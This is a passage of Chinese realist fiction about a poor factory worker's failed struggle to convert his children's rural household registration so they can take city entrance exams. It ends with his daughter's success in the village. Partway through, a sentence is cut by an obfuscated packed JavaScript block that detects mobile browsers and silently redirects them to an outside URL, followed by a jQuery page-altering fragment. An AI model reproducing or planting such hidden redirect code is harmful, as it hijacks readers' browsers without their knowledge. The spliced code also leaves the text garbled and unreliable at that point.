回到家，他戴上老花镜，在昏黄台灯下铺开表格，一笔一划写着：女儿姓名“任浩怡”，成绩栏填着历次考试的优异分数，家庭住址那破旧的筒子楼门牌号也显得庄重起来。
每填一个字，他眼前就浮现女儿熬夜刷题、清晨诵读的模样，满心都是对未来的祈愿，期盼这张薄薄的表，能铺就女儿通往考场、走向新生活的坦途，笔下的墨水似也承载着一家人的希望，洇透纸张。
昏黄的灯光在狭小的职工宿舍里摇曳，世和弓着背坐在那张漆面斑驳的旧桌前，面前摊着女儿的一摞书本，他的目光却空洞地定在墙上那张已有些褪色的城市地图上。
窗外，城市的喧嚣被玻璃隔成另一个世界，屋里静得只剩老旧钟表的滴答声，每一声都像重锤，敲在他满是疲惫的心坎上。
桌上那几张被反复摩挲得起了毛边的户口申请材料，似在无声诉说这些日子的艰难奔波。
为了女儿能在城里顺利中考，世和厚着脸皮一次次往单位人事处跑，平日里木讷寡言的他，不知对着那些领导陪着多少小心，说了多少好话，可换来的总是公式化的推脱与敷衍。
去户籍管理部门时，他大清早就去排队，站得脚跟生疼，满心焦急地递上材料，工作人员却只是冷漠地扫一眼，便以不符合政策为由退回，一句轻飘飘的“农村户口转城市哪有这么容易”，就将他所有希望击碎。
那年深秋，任世和的二八大杠自行车斜倚在派出所斑驳的红砖墙下，链条与齿轮咬合处泛着刺眼的白光——那是过度磨损后露出的金属原色。
他攥着磨破边角的户籍迁移材料，指节在冷风中冻得发紫，鞋底与地面摩擦时发出细微的打滑声，像极了他摇摇欲坠的希望。
“任师傅，不是我们不帮忙。“户籍科的**推了推滑到鼻尖的眼镜，搪瓷缸里的茶叶沉了又浮，“您这''半边户''情况特殊，没有房产证明......“
话音未落，世和突然注意到对方办公桌玻璃板下压着全家福，妻子烫着时髦的卷发，女儿穿着崭新的红毛衣。
而自己口袋里的照片，浩怡还穿着补丁摞补丁的蓝布衫。
车轮碾过青石板路的裂缝，发出令人牙酸的“吱呀“声。
世和抹了把额头的冷汗，发现掌心沾着黑色的机油——链条又掉了。
他蹲在巷口修车，看着锈迹斑斑的扳手拧动螺丝，突然想起父亲临终前握着他的手：“娃，咱家没家底，往后路得自己闯......“那时他以为凭着一身力气就能改变命运，此刻才明白，有些门槛，光靠拼命是跨不过去的。
机械厂的夜班铃响起时，世和还在教育局走廊徘徊。白炽灯嗡嗡作响，照亮墙上“为人民服务“的标语。
他数着地砖缝隙里的污渍，听着皮鞋踏在**石地面的回响，突然意识到自己奔波数月，连个能说句体己话的人都没有。
老家的母亲早已故去，妻子在乡下操持家务，而他像片被风吹散的浮萍，连扎根的泥土都没有。
深夜的宿舍，世和对着镜子解开衬衫。煤油灯昏黄的光晕里，他胸口的旧伤疤泛着暗红——那是七年前在工地被钢筋划伤的。
如今伤疤还在，可曾经的豪情却像车胎上磨平的纹路，再也抓不住任何希望。他颤抖着点燃香烟，烟雾缭绕中，仿佛看见浩怡趴在老家的窗台上，眼巴巴望着通往城里的路。
车铃再次响起时，链条彻底断裂。世和推着车走在空无一人的街道，车轮在柏油路上拖出长长的痕迹，像道未愈的伤口。远处工地的探照灯扫过他的脸，照亮他鬓角新添的白发。他突然想起父亲留下的那间土坯房，如今早已坍塌，正如他所有的努力，在现实面前碎成齑粉。
浩怡放学回来，轻手轻脚地走到世和身后，看到那熟悉又刺眼的申请材料，眼眶一下子红了。
“爸，咱回农村考也行……”声音带着哭腔，却又努力装出坚强。
世和猛地回头，粗糙的大手慌乱地替女儿擦泪，自己眼眶也泛起微红，强扯出一丝笑：“娃儿，别怕，爸再想想办法，城里教育资源好，咋能让你回去遭那份罪……”
可日子不等人，中考报名截止日一天天逼近，那转户口的事成了没桥的悬崖，跨不过去。
最终，在一个阴沉沉的午后，世和缓缓把浩怡的书本收拾进旧行李箱，手指颤抖着系紧行李带，他的喉结滚动，半晌才哑着嗓子说：“娃儿，咱先回村应考，书可得好好念，爸对不起你，没把这事儿办好……”
浩怡懂事地点头，泪珠子簌簌滚落，砸在行李箱上，洇出一朵朵苦涩的花。
父女俩拖着行李走出屋子，回头望一眼这承载诸多希望又终成泡影的职工宿舍，母亲冰玉和两个弟弟浩楠、浩檀目送世和、浩怡离开，等他俩走远，门在身后“吱呀”关上，像是关上一段城里的破碎美梦，一步一步，隐没在去往农村老家的蜿蜒小路，身影被夕阳拉得老长，满是落寞与无奈。
浩怡被世和送回老家，暂时住在她舅舅找好的学校宿舍，成为插班生，和他们一起复习，积极备考。然后世和就回到城里的家中。
狭小昏暗的职工宿舍里，闷热得像个蒸笼，任世和光着膀子，眉头紧锁地坐在吱呀作响的床边。脚边那台破旧电扇有气无力地转着，吹出的风都是燥热的，恰似他此刻满心的焦灼。
桌上堆满了孩子们皱巴巴的课本，他的目光定在一张全家福上，照片里三个孩子站在农村老家那一半红砖一半土坯的房前，笑得腼腆，眼神却透着对外面世界的渴望。大女儿浩怡刚被送回老家备考中考，想到女儿浩怡临上车时那强忍着泪水的模样，他的心就像被狠狠揪了一把。
“唉，这户口咋就成了咱家迈不过去的坎！”任世和一拳砸在床沿，憋闷许久的情绪终于爆发。
他扭头看外面唱着歌跑回家的城里的小朋友，心里一阵泛酸，人家孩子都顺顺当当在城里上学、升学，自家三个娃却因为这该死的户口问题，前途缥缈难测。
午后日头稍缓，任世和揣着包皱巴巴的廉价烟，脚步匆匆赶到老友江平的小院。
没等坐下，就急火火开口：“**啊，你说我咋办？俩小子眼瞅着也快要中考，时间不等人啊，过个一年半载中考报名就要开始了，这农村户口不转过来，根本就没个公平竞争的机会！”说着，他颤抖着手点烟，猛吸一口，辛辣呛得眼眶泛红。
江平皱着眉，拍了拍他肩膀：“世和，我懂你愁，可这年头，转户口难如登天！前儿我听隔壁厂老王说，他为了孩子户口，送礼送到手软，事儿还没办成。”
任世和眼神瞬间黯淡，却又涌起股执拗劲儿：“不行，我不能就这么干等着，孩子前程不能毁我手里。”
接下来几天，他一下班就穿梭在城里错综复杂的小巷，打听各种“能办事儿”的门道，请客吃饭，低声下气求那些所谓有关系的人，兜里那点微薄积蓄流水般花出去，换来的却只是些模棱两可的敷衍。
夜深人静，两个儿子写完作业，已经洗洗睡了，任世和坐在床边，借着月光凝视孩子们安静的睡脸，粗糙的手轻轻给他们掖好被子，暗暗发誓：“哪怕砸锅卖铁，拼上这条老命，爸也得把你们户口的事儿搞定……”
窗外，城市的霓虹渐次熄灭，唯有他满心的煎熬在黑暗中翻涌不息，不知曙光何时降临。
闷热的夏日傍晚，蝉鸣在厂区外的树上此起彼伏，聒噪得人心慌意乱。职工宿舍楼下，几个光着膀子的男人围坐在一起甩着扑克，脏话与哄笑声不时响起。
世和却独自蹲在阴影里，眉头紧锁，脚下的烟头攒了一小堆，烟雾缭绕中，他那张满是沧桑的脸愈发显得愁苦。
就在昨天，厂里本年度农转非户口指标公布了，大红纸张贴在宣传栏，人群围得里三层外三层。任世和挤进去时，心瞬间凉了半截，名单上没有他的名字。他反复看了几遍，眼睛都盯得生疼，满心的期待如泡沫般被烈日无情戳
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16682770|179808||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
破，那几个原本平常的字，此刻却像烧红的烙铁，烫得他心口发焦。
“凭啥？就凭咱没关系呗！”旁边有人嘟囔，任世和机械地转过头，目光空洞，脑海里全是两个儿子浩楠、浩檀挑灯夜读的模样，那瘦巴巴的背影在昏暗灯光下写作业，满心盼着能在城里扎根好好中考，可如今……
楼上锅炉房的轰鸣声隐隐传来，任世和抬头，眼神里满是复杂情绪。
他知道，烧锅炉那家的小子，成绩远不如自家老大，整日吊儿郎当，就因为家里有个远房亲戚在厂里当官，户口轻轻松松就转了，如今能毫无顾虑备战中考，而自家孩子却还悬在半空，前途被这户口的枷锁狠狠勒住。
“爸，咱还有办法不？”浩楠不知啥时候站在了身后，声音带着少年强装的镇定，任世和忙掐灭烟头，站起身拍拍儿子肩膀，挤出一丝笑：“有！爸一定想尽办法，就是砸锅卖铁也得把户口弄下来，不能耽误你俩考试。”
可话说得硬气，底气却在这闷热空气中一点点消散。
接下来的日子，任世和像个没头苍蝇，兜里揣着积攒多年的“老窖货”——一块祖传玉佩，厚着脸皮往厂领导家跑。一路上反复斟酌的话，到了人家门口却紧张得全忘了，只能陪着笑，近乎哀求地诉说自家难处，领导却只是打着官腔，目光时不时飘向那块玉佩，末了收下东西，事儿却没应下半点。
夜里，躺在床上，任世和听着妻儿轻微的鼾声，睁眼望着黑漆漆的天花板，满心都是不甘与无奈。窗外月色如水，却照不亮他家这农转非户口的漆黑前路，那孩子能凭关系一步登天，自家凭努力却被死死拦住，这世道的不公，像把钝刀，一下一下在他心头来回锯着，疼得他彻夜难眠，却找不到出口。
蝉鸣在枝头喧闹，日光透过斑驳树叶，洒下一地碎金。
世和坐在厂区角落的石阶上，手中的劣质烟升腾起袅袅烟雾，模糊了他满是风霜的面容。
身旁那辆老旧自行车，链条半耷拉着，像他此刻疲惫又松散的神经。
就在上个月，女儿浩怡泪汪汪地拖着行李箱回了农村老家，准备在那条件简陋的乡村中学参加中考。
望着女儿浩怡离去的背影，世和满心自责，恨自己没本事搞定那要命的农转非户口，让孩子在这节骨眼上还得颠沛流离。那些天，他在厂里干活频频出错，差点被记大过，夜里翻来覆去，满心都是女儿浩怡会不会在老家不习惯、能不能考好的担忧。
这天午后，厂里广播嘈杂，世和正机械地搬着货物，工友小李急匆匆跑来，脸上挂着笑：“世和哥，你家闺女厉害啊！刚听广播说中考成绩放榜，县重点高中录取名单里有她！”
世和手里的箱子差点滑落，愣了几秒，才回过神：“真的？你可别哄我！”
确认消息后，他顾不上还穿着满是污渍的工装，撒腿就往厂外电话亭跑，手忙脚乱地拨通老家电话。
电话接通那刻，听到女儿浩怡带着哭腔喊“爸”，世和眼眶瞬间红了：“闺女，你真争气！爸高兴，太高兴了……”说着，声音已哽咽，周围路人投来异样目光，他全然不顾。
回到宿舍，世和翻出藏在箱底那瓶舍不得喝的烧酒，对着墙上女儿浩怡的奖状猛灌一口，辛辣烧过喉咙，心底却泛起久违的甜。
他粗糙的手指轻轻摩挲奖状边角，眼前似浮现女儿在昏黄灯光下熬夜苦读的样子，那小小的身子坐得笔直，书本翻得破旧，为一道难题愁眉不展，又为解出答案笑逐颜开。
晚上，世和躺在床上，望着窗外星子，原本紧皱的眉头舒展开来。
女儿浩怡的争气像是一道光照进他昏暗压抑的生活，虽然户口难题仍如巨石横亘，但此刻他满心的阴霾散去大半。
他暗暗发誓，哪怕再难，也要在这城里拼死拼活干下去，给女儿挣出光明未来，绝不让孩子往后再因这些糟心事受限，定要护她一路坦途，伴着星光睡去，梦里都是女儿浩怡高中开学的模样。